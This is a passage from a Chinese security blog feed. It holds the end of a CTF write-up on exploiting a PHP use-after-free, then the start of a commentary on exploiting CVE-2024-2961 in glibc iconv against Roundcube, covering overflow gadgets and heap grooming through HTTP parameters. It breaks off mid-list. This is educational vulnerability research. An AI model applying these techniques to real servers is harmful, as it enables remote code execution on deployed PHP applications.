？</strong></p><p>比如就本题而言，我可能会使用下面的编译指令:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">CFLAGS&#x3D;&quot;-O0 -g -fno-omit-frame-pointer&quot; LIBS&#x3D;&#39;-ldl&#39; .&#x2F;configure --prefix&#x3D;&#x2F;opt&#x2F;php-8.3 --enable-fpm --with-fpm-user&#x3D;www-data --with-fpm-group&#x3D;www-data --with-zlib</span><br></pre></td></tr></table></figure><p>这里有2个原则:</p><ol type="1"><li>不要直接使用<code>--enable-debug</code>, 它会带来一些非预期的行为。比如在debug模式下，PHP会trace内存申请，它会导致你每次申请的内存会大一些 (用于记录一些额外的信息)，可能会导致你exploit失败。所以这里尽量使用gcc的参数项。</li><li>不要enable一些无关的PHP扩展，增加调试的复杂性。</li></ol><p><strong>如何愉快地使用gdb？</strong></p><ol type="1"><li>PHP官方在它们的php-src里面提供的一个.gdbinit, 可以帮你分析PHP里面的基本对象。</li><li><a href="https://github.com/m4p1e/php-mm-gdb-debugger">php-mm-gdb-debugger</a> 里面提供了一个gdb脚本，可以帮你打印PHP堆上的一些信息。</li></ol><p><strong>如何愉快地调试PHP-FPM ?</strong></p><p>我们可以通过设置以下参数来控制PHP-FPM master只spawn一个worker方便调试</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">pm &#x3D; static</span><br><span class="line">pm.max_children &#x3D; 1</span><br></pre></td></tr></table></figure><p>然后我们可以直接使用gdb去直接attach这个唯一的worker。</p><p><strong>如何愉快地调试PHP应用 ?</strong></p><p>就本题而言，我们不仅要调试PHP解释器的状态，可能也需要去调试其上的PHP应用状态。现实场景中更是如此。比如我想调试执行到PHP应用中某一行时，PHP解释器的状态是怎样，该如何操作？ 比较理想操作是直接对PHP做插装去实现改该功能，这可能需要coding。在不想coding的情况，你也可以用gdb去实现这一点:</p><ol type="1"><li>对这行代码中使用的函数下断点，或者你人为插入某些无害函数。</li><li>对这行代码中使用的指令下断点。</li></ol><p>是否可以使用类似xdebug这样工具呢？ 我没有评估过它的加载是否会对PHP解释器内部状态有影响，比如堆布局，所以我这里不推荐。</p><h3 id="x04-php-master-wp">0x04 PHP Master WP</h3><p>最后终于进入到了writeup环节，这里存在两个可能触发我们关注的PHP漏洞的路径:</p><ol type="1"><li>在<code>Dataform-&gt;insert</code>方法中，如果我们没有传入<code>$_POST['content']</code>，则会造成<code>$content</code>是一个undefined variable。在第106行，在对<code>Dataform-&gt;data</code>进行数组操作的过程中，PHP会因为<code>$content</code>是undefined弹出一个notice message，从而进入我们设置好的error handling。在第242行中，我们如果传入了<code>$_POST['_display_data']</code>，则会覆写<code>Dataform-&gt;data</code>。最后等到error handling返回时，继续第106行的数组操作，产生了UAF。</li><li>同样地，在<code>Dataform-&gt;append</code>方法中，也有上述问题。</li></ol><p>因此这里的UAF对象是<code>Dataform-&gt;data</code>，我们会分别使用这里的两个UAFs，实现两个不一样的功能。这里首先给出利用的大致路线:</p><ol type="1"><li>泄露PHP heap上的某个地址，并且我们希望这个地址和<code>$_SESSION['data]</code> (对应的PHP字符串)的地址比较接近。</li><li>根据泄露的地址去猜<code>$_SESSION['data]</code>的地址 (<code>bruteforce</code>)。</li><li>猜到<code>$_SESSION['data]</code>的地址之后，将其上的内容覆写成我们利用black door构造好的反序列化字符串。</li></ol><h4 id="内存布局">内存布局</h4><p>这里我们主要利用PHP内存对象是0x500-block (这里我们用xxx-block来表示大小为xxx bytes的内存块)。使用它的原因很简单，因为当前PHP应用和PHP解释器内部都很少会用到它，所以会减少很多未知的干扰。另外后面会提到我们可以泄露的某个heap上的地址，它对应一个0x30-block。如果我们想要达成利用路线的第一步，我们需要让它们相距的比较近。结合PHP内存管理的相关内容[3]:</p><blockquote><ol type="1"><li>PHP采用了memory slots的手法, 即针对小内存 (8 - 3072 bytes), 它会在连续的页上按大小划分slots (bins). 举个例子, 对于8 bytes内存, PHP会拿出1个page (4096 bytes) 出来, 将其划分为512个bins供给小于或者等于8 bytes的内存申请. 而对于320 bytes内存, PHP会拿出5个pages出来, 再上面划分64个bins供给 256&lt; x &lt;=320的内存申请. 小内存的回收采用是经典地free_lists.</li><li>PHP使用memory chunk (跟arena是有些相似的)来作为小内存的操作对象. 一个memory chunk默认大小为2M (0x200000), PHP在其上根据需求来划分不用小内存区域. 当一个memory chunk使用完了之后, PHP会申请新的chunk. 然后用链表将这些chunks连接起来.</li></ol></blockquote><p>因此我们采用以下操作:</p><ol type="1"><li>首先消耗掉PHP已经划分好的0x30-blocks。</li><li>再继续申请0x30-blocks迫使PHP在新的pages上划分0x30-blocks。</li><li>再消耗掉PHP已经划分好的0x500-blocks。</li><li>再继续申请0x500-blocks迫使PHP在新的pages上划分0x500-blocks。</li></ol><p>这样的操作会使得第2步和第4步生成的blocks大概率会位于连续的pages，即使不是连续的，也不会相距的很远。对于位于这样pages上的任意两个blocks，我们就认为它们相距的很近。以上就是<code>memory_planning</code>在做的事情。注意<code>memory_planning</code>是通过构造HTTP请求参数来操作PHP内存方式的，我在之前的文章[4]中非常详细了阐述这种方法。</p><p>还有一点也比较重要，我们的exploit是通过多次发送http requests来实现的，并不是在一次http request完成的。那么这里有一个问题，如何确保某次request泄露出来的heap上的地址，在后续requests也能用？ 因为你每次构造的http request并不是一样的，这就会导致目标内存布局发生变化，你需要额外注意这一点。</p><h4 id="地址泄露-leak">地址泄露 (<code>leak</code>)</h4><p>这里利用前面我们提到的第二个UAF，即发生<code>DataForm-&gt;append</code>中的那一个。当内存布局结束，后续大致路线如下:</p><ol type="1"><li>在第243行，对<code>DataForm-&gt;data</code>进行赋值，使得本身指向的0x500-block (我们用A表示)被释放。</li><li>在第160行，在<code>gzinflate</code>中拿到A，使得<code>gzinfalate</code>返回结果落在A上。这里的返回结果作为error message会被我们拿到。</li><li>在第121行，这里相当于是将一个浮点数 (其二进制表示<code>9223372036854775807</code>) 和一个null进行字符串链接，然后将结果写到A上。这里的浮点数会先进行一个类型转换，转换成对应字符串表示 (会占据一个0x30-block)，理所当然的其地址就被写到A上。</li></ol><p>这里关键是UAF的使用方需要是一个我们可以观测的对象，比如这里的error message。</p><h4 id="任意地址写-modify_session_data">任意地址写 (<code>modify_session_data</code>)</h4><p>在第三步中我们需要覆写掉<code>$_SESSION['data']</code>，这个写操作，我们通过对<code>$_SESSION['data']</code>进行UAF来实现。你可能会想，前面我们不是仅仅提到了两个关于<code>DataForm-&gt;data</code>的UAF吗？ 哪里来的新UAF ？ 这里我们需要好好利用一下我们提到的第一个UAF，即发生在<code>DataForm-&gt;insert</code>中的那一个。我们考虑第106行这里的赋值操作<code>$this-&gt;data[$i][$j] = $content;</code>，这里正常赋值如下:</p><ol type="1"><li>尝试释放掉<code>$this-&gt;data[$i][$j]</code>原本的内容。</li><li>再将<code>$content</code>赋值为<code>$this-&gt;data[$i][$j]</code>。</li></ol><p>综上，我们可以在<code>$this-&gt;data[$i][$j]</code>布置一个fake string，这个fake string指向<code>$_SESSION['data']</code>，造成一个意外释放。随后通过这个伴随的UAF拿到这块内存，改写其内容，现实对<code>$_SESSION['data']</code>的覆写。另外我们需要控制<code>$_SESSION['data']</code>的大小也在0x500-block上。观察到这里的PHP应用对外来数据都使用了<code>gzdeflate</code>来处理，因此这里我们使用了<code>inflated_data</code>来生成一些无法压缩的数据，从而进行有效的数据长度控制。</p><p>这里大致路线如下:</p><ol type="1"><li>通过http request，在指定位置<code>$this-&gt;data[$i][$j]</code>上写入fake string指向<code>$_SESSION['data']</code>。</li><li>在第243行，对<code>DataForm-&gt;data</code>进行赋值，使得本身指向的0x500-block (我们用A表示)被释放。</li><li>在第160行，在<code>gzinflate</code>中拿到A，使得<code>gzinfalate</code>返回结果落在A上。维持我们写入的fake string不变。</li><li>在第121行，释放掉fake string指向的<code>$_SESSION['data']</code> (我们用B表示)。</li><li>在第81行，函数<code>trim</code>拿到B，即将<code>$_POST[callback]</code>写到B上。实现对<code>$_SESSION['data']</code>的覆写。</li></ol><p>这里比较重要是需要利用赋值过程构造一个伴随的UAF。</p><h3 id="引用">引用</h3><ol type="1"><li>bad error handling, https://github.com/php/php-src/issues/13754</li><li>PHP之殇 : 一个IR设计缺陷引发的蝴蝶效应, https://m4p1e.com/2024/03/13/bad_php_ir/</li><li>CVE-2023-3824: 幸运的Off-by-one (two?), https://m4p1e.com/2024/03/01/CVE-2023-3824/</li><li>关于 "CVE-2024-2961 glibc iconv exploitation (part 2)" 注解, https://m4p1e.com/2024/07/03/CVE-2024-2961/</li></ol>]]></content>
    
    
      
      
    <summary type="html">&lt;h3 id=&quot;x01-介绍&quot;&gt;0x01 介绍&lt;/h3&gt;
&lt;p&gt;在刚刚过去的N1CTF24上，我出了一道关于PHP的pwn题，其中涉及到的漏洞[1]是真实存在的，并且目前依然没有被修复。非常遗憾，期待的PHP master并没有出现在这次的比赛中，让我们期待下次的PHP risi</summary>
      
    
    
    
    <category term="php" scheme="https://m4p1e.com/categories/php/"/>
    
    
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    <title>关于 &quot;CVE-2024-2961 glibc iconv exploitation (part 2)&quot; 注解</title>
    <link href="https://m4p1e.com/2024/07/03/CVE-2024-2961/"/>
    <id>https://m4p1e.com/2024/07/03/CVE-2024-2961/</id>
    <published>2024-07-03T23:00:00.000Z</published>
    <updated>2024-09-10T15:03:10.505Z</updated>
    
    <content type="html"><![CDATA[<p>CVE-2024-2961是最近公布出现在iconv中的漏洞。原发现者cfreal也陆续展示了关于它的利用方式[1] [2]。我之前是看过part 1 [1]，其中通过使用PHP filters来操作内存的方式相当有趣。在part 1的结尾，作者提到接下来还会公布两个有趣的利用方式。最近，恰巧一个朋友让我帮他调试一下刚出来的part 2 [2]。相比于part 1，part 2中的利用场景则是一个真实PHP应用: Roundcube。然而，调试过程非常曲折，即使我本人非常熟悉PHP里面的东西。所以我觉得有必要写下来。从这篇文章中你可以了解和学习到以下几点:</p><ul><li>cfreal提供的利用过程不是<strong>开箱即用的</strong> (其中某些内存地址是写死的)。</li><li>cfreal文章中的利用方式和给出的exp.py存在差异，并且部分文章中提到的利用手法存在问题。</li><li>我是如何解决上述问题，并且让利用过程能够去尽可能地适应不同的目标对象。</li><li>如何简单地检测是否可以在roundcube上利用CVE-2024-2961。</li></ul><p>如果读者没有看过[1] [2]，我建议先看它们再往后看这篇文章。因为这仅仅是一篇comment性质的文章。同时也意味着我更加关注于原文中的一些细节和未曾提到的东西。两者结合起来看，可能收获更大。</p><h3 id="x01-环境搭建">0x01 环境搭建</h3><p><strong>glibc降级</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">apt install libc6-dev&#x3D;2.31-0ubuntu9 libc-dev-bin&#x3D;2.31-0ubuntu9 libc6&#x3D;2.31-0ubuntu9</span><br></pre></td></tr></table></figure><p>我这里用的ubuntu20.04，其他ubuntu版本可以参见以下链接，来回滚安全更新。</p><p><a href="https://launchpad.net/ubuntu/+source/glibc">https://launchpad.net/ubuntu/+source/glibc</a></p><p><strong>php-fpm 编译</strong></p><p>PHP版本: <code>387b1c62bfbe5e14647620f132a00880ccfcf0c6</code> (PHP8.3.10-dev)</p><p>编译选项:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">CFLAGS&#x3D;&#39;-g -O0 -fPIC&#39; CXXFLAGS&#x3D;&#39;-g -O0 -fPIC&#39; .&#x2F;configure --prefix&#x3D;&#x2F;opt&#x2F;php-8.3 --enable-fpm --with-fpm-user&#x3D;www-data --with-fpm-group&#x3D;www-data --enable-exif --enable-gd --with-freetype --with-jpeg  --with-ldap --enable-intl --with-pdo-mysql --with-pdo-pgsql --with-pdo-sqlite --with-zip --with-pspell --with-mhash --with-pic --enable-ftp  --enable-mbstring --enable-mysqlnd --with-password-argon2 --with-pdo-sqlite --with-sqlite3 --with-curl --with-iconv --with-openssl --with-readline --with-zlib</span><br></pre></td></tr></table></figure><p>选择自己编译PHP是为了更好的后续调试工作。另外可以通过设置以下参数来控制php-fpm master只spawn一个worker方便调试.</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">pm &#x3D; static</span><br><span class="line">pm.max_children &#x3D; 1</span><br></pre></td></tr></table></figure><p><strong>roundcube配置</strong></p><p>本文使用的<strong>roundcube 1.6.1</strong> (原文是1.6.3)，具体配置可以参见roundcubemail-docker。同时使用的是docker-mailserver作为邮件服务。</p><ul><li>roundcubemail-docker: <a href="https://github.com/roundcube/roundcubemail-docker">https://github.com/roundcube/roundcubemail-docker</a></li><li>docker-mailserver: <a href="https://github.com/docker-mailserver/docker-mailserver">https://github.com/docker-mailserver/docker-mailserver</a></li></ul><p>(抱歉，我太懒了，没有整理出来一个compose yaml : ()</p><h3 id="x01-关于cve-2024-2961的基本理解">0x01 关于CVE-2024-2961的基本理解</h3><p><strong>iconv只能溢出1-3字节</strong></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// iconvdata/iso-2022-cn-ext.c</span></span><br><span class="line">...</span><br><span class="line">escseq = <span class="string">&quot;*H&quot;</span>;</span><br><span class="line">*outptr++ = ESC;</span><br><span class="line">*outptr++ = <span class="string">&#x27;$&#x27;</span>;</span><br><span class="line">*outptr++ = *escseq++;</span><br><span class="line">*outptr++ = *escseq++;</span><br><span class="line">...</span><br></pre></td></tr></table></figure><p>可以看到它在无bound check的情况下，往后写了4个字节。那么这里为什么不能溢出4个字节呢？ 因为在进入上述过程时，肯定就保证了output buffer有空余，那么其至少是空余1个字节的，所以最多只可以溢出3个字节。于是，我们知道这里发生越界的条件有两个:</p><ol type="1"><li>output buffer空余不大于4；</li><li>下一个需要编码的字符要满足进入上述过程的分支条件。</li></ol><p>可以溢出的3字节种类:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">$*H [24 2A 48]</span><br><span class="line">$+I [24 2B 49]</span><br><span class="line">$+J [24 2B 4A]</span><br><span class="line">$+K [24 2B 4B]</span><br><span class="line">$+L [24 2B 4C]</span><br><span class="line">$+M [24 2B 4D]</span><br></pre></td></tr></table></figure><p><strong>php_iconv上的利用点</strong></p><p>我们用<code>php_iconv</code>表示PHP内置函数 <code>iconv</code>，将其和glibc中的<code>iconv</code>函数区分开来。<code>php_iconv</code>一开始会申请 <code>l + 32</code>的内存作为output buffer，其中<code>l</code>为传入的字符长度。那么想要利用它，我们需要进行以下步骤:</p><ol type="1"><li>需要让长度<code>l</code>为input string扩张到<code>l + 32</code> 大小左右，比如<code>l + 32 - 1</code> ，<code>l + 32 - 2</code>， <code>l + 32 - 3</code>。</li><li>编码特定字符，实现4字节越界写。</li></ol><p>作者展示了两个gadgets:</p><ul><li><code>劄\n</code> : 4字节 =&gt; 10字节.</li><li><code>劄劄\n</code>: 7字节 =&gt; 12字节.</li></ul><p>可以看到这个编码似乎带有一些压缩功能。任意组合上述两种gadgets时，都是固定增长的。例如</p><ul><li><code>劄\n劄\n</code>： 8字节 =&gt; 20字节</li><li><code>劄\n劄劄\n</code>: 11字节 =&gt; 22字节</li></ul><p>思考一下，如果我们想要通过组合上述gadgets通过<code>php_iconv</code>新增<code>30</code>个字符，那么应当如何组合呢？ 我们设需要<code>x</code>个<code>劄\n</code> 和 <code>y</code>个<code>劄劄\n</code>, 那么其相关约束为:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">(10 - 4) * x  + (12 - 7) * y &#x3D; 30  &#x3D;&#x3D;&#x3D;&gt;  6 * x + 5 * y &#x3D; 30 &#x3D;&#x3D;&#x3D;&#x3D;&gt; x &#x3D; 5, y &#x3D; 0</span><br></pre></td></tr></table></figure><p>另外，如果我们考虑在input最后放一个gadget来做4字节溢出，这个gadget你可以只用单个字符 i.e., <code>劄</code>。那么input的一般形式应当如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;normal_chars : z&#125; | &#123;&quot;劄\n劄\n劄\n劄\n劄\n&quot; : 5 * 4&#125; | &#123;&quot;劄&quot; : 3&#125;</span><br></pre></td></tr></table></figure><p>其中<code>&#123;normal_chars&#125;</code>可以看做长度为<code>z</code>的ascii字符的padding i.e., <code>aaaaaa....</code>，可以用来控制目标output buffer的大小 (<code>l + 32</code>)。经过<code>php_iconv</code>之后会变成:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;normal_chars : z&#125; | &#123;&quot;...&quot; : 5 * 10&#125; | &#123;&quot;...&quot; : 9&#125;</span><br></pre></td></tr></table></figure><p>如果我们希望在处理最后一个<code>劄</code>的时候，output buffer只空余2个字符，对应的约束就变成了</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">output_buffer_len - input_len &#x3D; 2 &#x3D;&#x3D;&#x3D;&gt;</span><br><span class="line">(z + 4x + 7y + 3 + 32) - (z + 10x + 12y) &#x3D; 2 &#x3D;&#x3D;&#x3D;&gt;  6*x + 5*y &#x3D; 33 &#x3D;&gt; x &#x3D; 3, y &#x3D; 3</span><br></pre></td></tr></table></figure><p>可以看到它是与<code>z</code>无关的。这正是cfreal给出的<code>cnext-exploits/pocs/poc.php</code>中等式的来源。</p><h3 id="x02-利用http请求参数布局内存">0x02 利用HTTP请求参数布局内存</h3><p><strong>PHP处理请求参数的过程</strong></p><p>PHP在处理HTTP请求时，会解析对应的请求参数，将每个参数用合适的内存存放。因此我们可以通过控制参数的大小，来控制PHP申请对应大小的内存，从而操作PHP内存。比如参数<code>a=1</code>，PHP会将其解析为对应key (<code>a</code>) 和value (<code>1</code>)，然后用合适内存块来存储它们。具体来说，对每一个参数<code>k=v</code>，PHP会将其放到对应PHP数组上，例如GET参数会放在变量<code>$_GET</code>上。这样一次操作会涉及如下内存操作</p><ol type="1"><li><code>alloc(sizeof(str("k")))</code></li><li><code>alloc(sizeof(str("v")))</code></li></ol><p>值得注意的是，当filter扩展[3]开启的时候 （默认编译选项下是开启的），会额外多一次关于<code>v</code>的内存申请，即</p><ol type="1"><li><code>alloc(sizeof(str("k")))</code></li><li><code>alloc(sizeof(str("v")))</code></li><li><code>alloc(sizeof(str("v")))</code></li></ol><p>这是因为filter扩展对每种类型的参数，它会单独维护一个PHP数组来存储具体的值。那么为什么<code>k</code>只申请了一次内存呢？这涉及到PHP内部针对字符串的部分优化。对于<code>k</code>，PHP会使用一种叫internal string的字符串表示来维护，是一种带缓存机制的字符串表示。即当你创建某个PHP字符串时，它会首先去寻找之前是否创建过相同的字符串，如果存在，则直接使用它。因此这里只有一次关于<code>k</code>的内存申请。</p><p>比较有趣是，你不但能够控制PHP内存申请，同样可以在某种程度去控制PHP内存释放。比如存在两个key相同的参数<code>k=v1&amp;k=v2</code>，PHP在处理后者的时候，会把前者的value给覆盖掉，即前者占用的内存会被释放掉。具体来说，PHP在处理<code>k=v1&amp;k=v2</code>会发生以下内存操作:</p><ol type="1"><li><code>alloc(sizeof(str("k")))</code></li><li><code>alloc(sizeof(str("v1")))</code></li><li><code>alloc(sizeof(str("v1")))</code></li><li><code>free(sizeof(str("v1")))</code></li><li><code>alloc(sizeof(str("v2")))</code></li><li><code>free(sizeof(str("v1")))</code></li><li><code>alloc(sizeof(str("v2")))</code></li></ol><p>可以看到是内存操作是有顺序的。接下来，理解这其中的顺序对我们后面利用构造非常重要。首先我们用<code>$_POST</code>和<code>$_POST_COPY</code>来表示前面提到的两个用来存储POST参数的PHP数组。那么处理<code>k=v1&amp;k=v2</code>的过程可以简单地表示为:</p><ol type="1"><li><code>update_array($_POST, "k", "v1")</code>: A1, A2</li><li><code>update_array($_POST_COPY, "k", "v1")</code>: A3</li><li><code>update_array($_POST, "k", "v2")</code>: F4, A5</li><li><code>update_array($_POST_COPY, "k", "v2")</code>: F6, A7</li></ol><p>我将每个处理过程和相应的内存操作对应起来了。</p><p>另外，我们还可以注册数组类型的参数，例如<code>a[k]=v</code>。它处理过程于上述类似:</p><ol type="1"><li><code>arr = get_or_create_array($_POST, "a")</code><ol type="1"><li><code>alloc(sizeof(str("a")))</code></li><li><code>alloc(empty_array())</code> (我们假设<code>a</code>是第一次出现)</li></ol></li><li><code>update_array(arr, "k", "v")</code><ol type="1"><li><code>alloc(sizeof(str("k")))</code></li><li><code>alloc(sizeof(str("v"))</code></li></ol></li><li><code>arr = get_or_create_array($_POST_COPY, "a")</code><ol type="1"><li><code>alloc(sizeof(str("a")))</code></li><li><code>alloc(empty_array())</code> (我们假设<code>a</code>是第一次出现)</li></ol></li><li><code>update_array(arr, "k", "v")</code><ol type="1"><li><code>alloc(sizeof(str("v"))</code></li></ol></li></ol><p>值得注意是在<code>get_or_create_array</code>中的key是不走internal string机制的，即会独立申请内存。</p><p>最后，我们讨论一个特殊参数注册过程， <code>a[k1]=v1&amp;a[k2]=v2&amp;a=k3</code>，这里处理过程如下:</p><ol type="1"><li><code>arr = get_or_create_array($_POST, "a")</code></li><li><code>update_array(arr, "k1", "v1")</code></li><li><code>arr = get_or_create_array($_POST_COPY, "a")</code></li><li><code>update_array(arr, "k1", "v1")</code></li><li><code>arr = get_or_create_array($_POST, "a")</code></li><li><code>update_array(arr, "k2", "v2")</code></li><li><code>arr = get_or_create_array($_POST_COPY, "a")</code></li><li><code>update_array(arr, "k2", "v2")</code></li><li><code>update_array($_POST, "a", "k3")</code></li><li><code>update_array($_POST_COPY, "a", "k3")</code></li></ol><p>值得一说是的，最后9和10步对应处理<code>a=k3</code>，这两步会首先释放(析构)掉前面申请的PHP数组。在释放一个PHP数组时，它里面的元素会逐个释放，按照它们被插入该数组的顺序。</p><p><strong>PHP内存管理基本概念</strong></p><p>之前我在关于CVE-2023-3824的文章[4]中简单提到过PHP的内存管理。内存申请通常分为小内存和大内存申请。 对于小内存 (8 - 3072字节) 申请，PHP会首先向系统申请一块大内存 (memory chunk) (2M)，然后根据内存申请需求，在上面分割出来各种大小的slots其使用。特别地是，通常会再整数倍的内存页(page)上划分slots。比如对于8字节slot，PHP会拿出来1个page (4096)，那么就会得到512个8字节slots。这些slots会用一张单链表(freelist)连接起来，对于未来小于或者等于8字节内存申请，可以直接从freelist上取slot。对于小内存回收，PHP会将其重新放到对应的freelist上，并且最近释放的小内存总是freelist的最前面。对于不同大小的小内存，PHP会预先申请不同数量的slots，具体的策略可以在[5]中看到。当一个memory chunk被使用完成之后，PHP会再次申请一个新的memory chunk，将它们用一个循环链表连接起来。文章中并不涉及大内存的申请，所以这里我们略过。</p><p><strong>布置期望内存环境</strong></p><p>结合前面我们提到的关于PHP处理HTTP请求的过程和PHP内存管理机制，我们实际是可以布置近乎于任意内存环境的。我们通过几个小例子来感受一下。这里我们假设只针对某个特定大小的小内存来布局，它的大小我用<code>x</code>来表示。再给出几个可控内存操作:</p><ul><li><code>alloc_key(x)</code>: 通过参数中key的大小，去控制PHP申请1个大小为<code>x</code>的slot.</li><li><code>alloc_value(k, x)</code>: 通过参数中value的大小，去控制PHP申请2个大小为<code>x</code>的slots，其key为<code>k</code>.</li><li><code>free_value(k)</code>: 通过覆盖某个key为<code>k</code>的参数，去释放它之前value占据的两个slots.</li></ul><p>我们来研究下面几种freelist情况，我们假定A, B , C, D是4个在地址上连续的大小为<code>x</code>的slots，A所在的地址最低。其中<strong>-&gt;</strong>表示next slot。</p><p><strong>case 1: A -&gt; B -&gt; C -&gt; D</strong></p><p>freelist上为顺序的slots，这容易在PHP初始化freelist时候达到。当一个freelist没有了可用的slots之后，PHP会按照前面提到的方式为补充。在初始完成之后，freelist上就是顺序的slots。</p><p>因此，这里我们需要申请大量<code>x</code>-slots，让freelist重新初始化即可。其过程为</p><ol type="1"><li><code>alloc_key(x)</code></li><li><code>alloc_key(x)</code></li><li>...</li></ol><p>这个量最好接近PHP初始化时产生的<code>x</code>-slots数量，使得尽可能把之前申请的都用完。</p><p><strong>case 2: B -&gt; A -&gt; C -&gt; D</strong></p><p>相较于case 1，这里交换了A和B的位置。因此，这里我们需要首先构造case 1，再交换最前面两个slots。其过程为</p><ol type="1"><li>构造case 1: A -&gt; B -&gt; C -&gt; D</li><li><code>alloc_value(k, x)</code>: C -&gt; D</li><li><code>free_value(k)</code>: B -&gt; A -&gt; C -&gt; D</li></ol><p>只需要一次alloc/free即可交换对应的slots。</p><p><strong>case 3: A -&gt; D -&gt; B -&gt; C</strong></p><p>想较于前面两个cases，这里变化比较大，我们还是需要先构造case 1，然后再做后续操作。其过程为</p><ol type="1"><li>构造 case 1: A -&gt; B -&gt; C -&gt; D</li><li><code>alloc_value(k1, x)</code>: C -&gt; D</li><li><code>alloc_value(a[k2], x)</code>: empty</li><li><code>free_value(k1, x)</code>: B -&gt; A</li><li><code>alloc_value(a[k3], x)</code>: empty</li><li><code>free_value(a)</code>: A -&gt; D -&gt; B -&gt; C</li></ol><p>在第5步之后，假设这里我们使用是POST参数，那么<code>$_POST["a"]</code>和<code>$_POST_COPY["a"]</code>里面的元素和其占据slot分别为:</p><ul><li><code>$_POST["a"]</code>: <code>&#123;k2 : C, k3 : B&#125;</code></li><li><code>$_POST_COPY["a"]</code>: <code>&#123;k2 : D, k3 : A&#125;</code></li></ul><p>那么经过第6步之后就会变成我们期望的样子。</p><p><strong>case 4: A -&gt; O -&gt; D -&gt; B -&gt; C</strong></p><p>在case 3的基础上，case 4讨论是我们想要在A和D之前再插入一个任意的slot。 显然我们需要先构造出case 3，然后再做后续操作。但是在构造case 3之前我们需要一些额外的工作，其过程为</p><ol type="1"><li><code>alloc_value(k1, x)</code>: 任意freelist</li><li>构造case 3: A -&gt; D -&gt; B -&gt; C</li><li><code>free_value(k1, x)</code>: O1 -&gt; O2 -&gt; A -&gt; D -&gt; B -&gt; C</li><li><code>alloc_key(x)</code>: O2 -&gt; A -&gt; D -&gt; B -&gt; C</li><li><code>alloc_value(k2, x)</code>: D -&gt; B -&gt; C</li><li><code>free_value(k2)</code>: A -&gt; O2 -&gt; D -&gt; B -&gt; C</li></ol><p>上述操作可以一般化，比如将A往前移动n次。</p><p><strong>case 5: A -&gt; C -&gt; E -&gt; G 并且B, D, F, H 已经被allocated</strong></p><p>在case 5里面我们研究如何构造一张类似网(net)一样的freelist，即两个相邻slots，其中一个已经被allocated了，而另外一个还在freelist里面。这个net实际非常容易构造，但是容易让人复杂化 (比如我)。我们只需要合理的利用PHP数组的析构即可。其过程如下:</p><ol type="1"><li>先构造case 1: A -&gt; B -&gt; C -&gt; D -&gt; E -&gt; F -&gt; G -&gt; H</li><li><code>alloc_value(a[k1], x)</code>: C -&gt; D -&gt; E -&gt; F -&gt; G -&gt; H</li><li><code>alloc_value(a[k2], x)</code>: E -&gt; F -&gt; G -&gt; H</li><li><code>alloc_value(a[k3], x)</code>: G -&gt; H</li><li><code>alloc_value(a[k4], x)</code>:</li><li><code>free_value(a)</code>: H-&gt; F -&gt; D -&gt; B -&gt; G -&gt; E -&gt; C -&gt; A</li><li><code>alloc_value(a[k5], x)</code>: D -&gt; B -&gt; G -&gt; E -&gt; C -&gt; A</li><li><code>alloc_value(a[k6], x)</code>: G -&gt; E -&gt; C -&gt; A</li></ol><p>如果我们不care它们在freelist的顺序，其实做到这一步就够了，更多只是希望是net的形状。另外，去reverse它们也比较简单，合理的alloc/free即可，这里我们就不探讨了。</p><p><strong>case 6: F1 -&gt; F2 -&gt; F3 -&gt; ... -&gt; Fn -&gt; expected_freelist</strong></p><p>case 6讨论是一个非常实际的问题，我们期望的内存布局往往需要保持某个特定的PHP脚本执行的地方。然而，利用PHP处理HTTP请求构造的内存布置，极有可能被后续的PHP引擎本身或者PHP脚本运行所破坏。在part2 中，作者也提到了这一点。因此，我们需要去规避在这些过程里面的内存操作对我们的影响。有一个很简单的优化规避方法是尽可能使用目标应用的比较少的小内存类型，比如使用一些较大的小内存，但是我们还是从根本上解决这个问题。另外一个非常自然的想法就是在我们构造的freelist之前去填充一些可用的slots，让这些去满足额外的内存操作。但是，要填充多少slots，我们并不知道，这跟目标环境有关系。因此这里可能存在一个多次尝试的过程。一般地，我们填充过程如下:</p><p>如果<code>n</code>是偶数:</p><ol type="1"><li><code>(n/2) * alloc_value(k_i, x)</code></li><li>布置我们期望的内存环境</li><li><code>(n/2) * free_value(k_i)</code></li></ol><p>如果<code>n</code>是奇数:</p><ol type="1"><li><code>((n+1)/2) * alloc_value</code></li><li>布置我们期望的内存环境</li><li><code>(n/2) * free_value(k_i)</code></li><li><code>alloc_key(x)</code></li></ol><p>整体来看，需要把我们构造的过程夹在中间。</p><p>总的来说，通过HTTP参数来进行内存布局，可能未来会成为一个远程利用PHP漏洞的范式。</p><p><strong>鉴赏一个非常难搞的内存布局</strong></p><p>通过以上的6个cases，读者对利用HTTP请求来布置内存应该有一定的感觉。但是现实里面我们需要处理的问题，往往是让人猝不及防的。它还是和case 6 讨论的问题有关系。如果我们不能通过padding slots来规避额外的内存操作影响，该怎么吗？ 现实中可能存在这样一个问题，</p><ol type="1"><li>最初的freelist: F1 -&gt; F2 -&gt; F3 -&gt; F4 -&gt; A -&gt; D -&gt; B -&gt; C，其中A -&gt; D -&gt; B -&gt; 